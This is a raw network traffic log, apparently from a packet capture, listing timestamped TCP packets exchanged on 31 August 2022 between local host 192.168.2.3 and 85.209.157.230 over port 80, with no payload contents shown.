Aug 31, 2022 08:34:31.380748034 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380749941 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380769968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380789042 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380805969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380821943 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380860090 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380862951 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380880117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380896091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380902052 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380912066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380923033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.380945921 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.380995989 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381016016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381031036 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381038904 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.381074905 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.381089926 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381114006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381134987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381154060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381156921 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.381174088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381195068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381200075 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.381213903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381234884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381253004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381263018 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.381269932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381285906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381295919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.381309986 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382227898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382272959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382289886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382309914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382328033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382339001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382344007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382364035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382380962 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382389069 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382405043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382415056 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382426023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382442951 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382453918 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382463932 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382481098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382493973 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382499933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382512093 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382528067 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382781029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382805109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382822037 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382838011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382879019 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382883072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382905006 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382911921 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.382915974 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.382953882 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383055925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383094072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383138895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383145094 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383160114 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383177996 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383188009 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383202076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383233070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383251905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383274078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383295059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383300066 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383313894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383332968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383362055 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383363008 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383378983 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383400917 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383403063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383415937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383435011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383447886 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383450985 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383492947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383495092 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383533955 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383605957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383637905 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383654118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383668900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383683920 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383698940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383703947 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383714914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383730888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383744955 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383760929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383770943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.383775949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383786917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.383827925 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384145021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384162903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384177923 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384188890 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384207964 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384216070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384251118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384267092 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384282112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384296894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384309053 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384319067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384337902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384350061 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384354115 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384378910 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384383917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384401083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384406090 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384416103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384427071 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384445906 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384654045 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384713888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384730101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384748936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384758949 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384767056 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384804964 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384815931 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.384826899 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.384828091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385046005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385067940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385083914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385114908 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385116100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385132074 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385155916 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385159969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385176897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385180950 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385193110 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385212898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385224104 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385230064 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385257959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385267019 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385276079 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385292053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385298967 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385329962 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385340929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385350943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385396957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385437965 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385462046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385478973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385507107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385529041 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385545015 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385546923 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385571957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385586977 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385591030 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385608912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385612011 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385626078 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385654926 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385665894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385683060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385699034 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385715008 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385725975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.385725975 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385771990 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.385983944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386035919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386075020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386090040 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386094093 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386111975 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386125088 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386127949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386164904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386182070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386193991 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386210918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386230946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386250973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386265039 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386271000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386286020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386318922 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386327982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386349916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386379004 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386451960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386573076 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386589050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386605978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386620998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386626005 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386657000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386668921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386693954 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386843920 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386858940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386894941 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386904001 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386920929 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.386960030 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.386972904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387001991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387017965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387033939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387039900 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387053013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387068987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387080908 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387106895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387121916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387139082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387152910 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387154102 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387192965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387212992 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387330055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387372971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387372971 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387389898 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387406111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387422085 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387437105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387444973 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387454033 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387469053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387486935 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387490988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387512922 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387516975 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387533903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387542009 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387554884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387569904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387583971 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387586117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387613058 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387629032 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387854099 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387892962 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387908936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387933016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387938976 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.387950897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387965918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.387975931 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388003111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388022900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388039112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388067007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388083935 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388087988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388104916 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388112068 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388154984 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388158083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388175011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388190031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388200998 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388227940 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388385057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388458967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388475895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388490915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388501883 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388506889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388537884 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388542891 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388549089 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388565063 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388780117 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388844013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388860941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388876915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388886929 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388892889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388909101 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388926029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388933897 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388966084 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.388979912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.388995886 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389010906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389025927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389035940 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389048100 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389062881 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389079094 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389090061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389107943 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389138937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389189959 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389204025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389220953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389235973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389251947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389267921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389276028 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389285088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389312029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389312029 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389327049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389338970 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389353991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389369965 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389377117 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389391899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389406919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389419079 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389421940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389434099 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389451981 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.389772892 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.389791012 CEST	80	49763	85.209.157.230	192.168.2.3
